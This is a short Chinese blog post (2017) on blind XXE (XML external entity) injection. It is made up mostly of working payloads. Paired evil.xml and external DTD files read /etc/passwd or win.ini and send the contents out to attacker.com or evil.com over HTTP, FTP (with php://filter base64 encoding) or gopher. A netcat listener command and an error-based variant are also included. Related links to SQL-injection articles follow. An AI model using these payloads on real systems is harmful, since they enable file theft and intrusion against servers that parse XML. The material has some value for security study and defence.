【注入】xml盲注

作者: 是Jonathan | 来源:发表于2017-01-06 11:22 被阅读109次

OOB(Out-Of-Band):外带数据
多数情况下,能直接返回目标内容的攻击场景很少,因此需要一些技巧
来获取我们想要的数据。
• 参数实体(Parameter Entity):
如果说实体是XML节点中引用的内容,那么参数实体就是实体中引
用的内容。
<!ENTITY % name "foo">
<!ENTITY copyright "copyright © 2008, %name;.cn, ALL Right Reserved
">
1)参数实体只能在DTD声明中使用。
2)参数实体中不能再引用参数实体。

<!--http带外通信-->
<!--evil.xml-->
<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % dtd SYSTEM "http://attacker.com/ext.dtd">
    %dtd;
    %send;
]>
<zabbix_export></zabbix_export>
<!--ext.dtd-->
<!--嵌套参数实体的‘%’需要其十进制或16进制编码格式即%或%-->
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.com/?%file;'>">%all;

PHP环境下可以使用php://filter
php://filter/read=convert.base64-encode/resource=/etc/hosts
利用FTP协议外带数据
两者相结合

<!--evil.xml-->
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % asd SYSTEM "http://attacker.com/evt.dtd">
%asd;
%c;
%rrr;
]>
<a></a>
<!--ext.dtd-->
<!ENTITY % b SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://evil.com:8000/%b'>">

Gopher:古老的信息查找协议 【Java1.6】
格式:gopher://{host}:{port}/{type}{request}
• type:为一位整型数字
• request:任意要发送的请求内容,使用URL格式编码。

在服务器中使用NC监听指定端口:
nc –lnp 1337

<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evt.dtd">
%dtd;
]>
<a></a>
<!--ext.dtd-->
<!ENTITY % all "<!ENTITY % rrr SYSTEM 'gopher://ip:8080/1%file'>">%all;

无效文件名构造主动报错
evil.xml

<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % one SYSTEM "http://attacker.com/ext.dtd">
%one;
%two;
%four;
]>
<!--ext.dtd-->
<!ENTITY % three SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % two SYSTEM "<!ENTITY % four SYSTEM 'file:///%three'>">

资料来源:5-XML实体攻击:从内网探测到命令执行步步惊心-张天琪.pdf

相关文章

  • 【注入】xml盲注

    OOB(Out-Of-Band):外带数据多数情况下,能直接返回目标内容的攻击场景很少,因此需要一些技巧来获取我们...

  • Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

    手工盲注: 手工盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,手工盲注步骤:1.判断是否存在注入,注入...

  • sql注入之盲注

    所谓的盲注即是在sql注入后在前端没有出现报错信息,无法判断是否注入成功。所以需要盲注进行判断 盲注分为基于布尔型...

  • 01.sqlmap

    1. sqlmap支持五种不同的注入模式: 基于布尔的盲注; 基于时间的盲注; 基于报错注入; 联合查询注入,un...

  • 一步一步学习 Web 安全 2.4 union 联合查询注入

    对 SQL 注入有一个大致的了解后,我们再来深入学习。 SQL 注入有联合查询注入、报错注入、布尔盲注、时间盲注等...

  • sqli-lab之第二章--盲注

    第二章 盲注 注意: 本文大部分内容都是参考mysql注入天书 学习篇 何为盲注?盲注就是在 sql 注入过程中,...

  • SQL注入靶场—盲注Rank1-2

    当存在注入点,但服务器没有返回sql执行后的结果回显,就可以使用盲注,盲注分为布尔注入和时间注入。 布尔注入涉及的...

  • 2019-02-24 sql注入

    sql注入主要分为显注和盲注,显注就是你注入的sql语句可以显示的显示到界面上,告诉你的语句对还是错。盲注就是不会...

  • sql注入-盲注

    注入源代码 1.left()判断数据库版本

  • 一步一步学习 Web 安全 2.6 布尔盲注

    盲注 盲注表示存在 SQL 注入,但是页面只有正常显示和不显示两种,不会像之前直接显示错误或者数据在页面上。 盲注...

网友评论

    本文标题:【注入】xml盲注

    本文链接:https://www.haomeiwen.com/subject/wxitbttx.html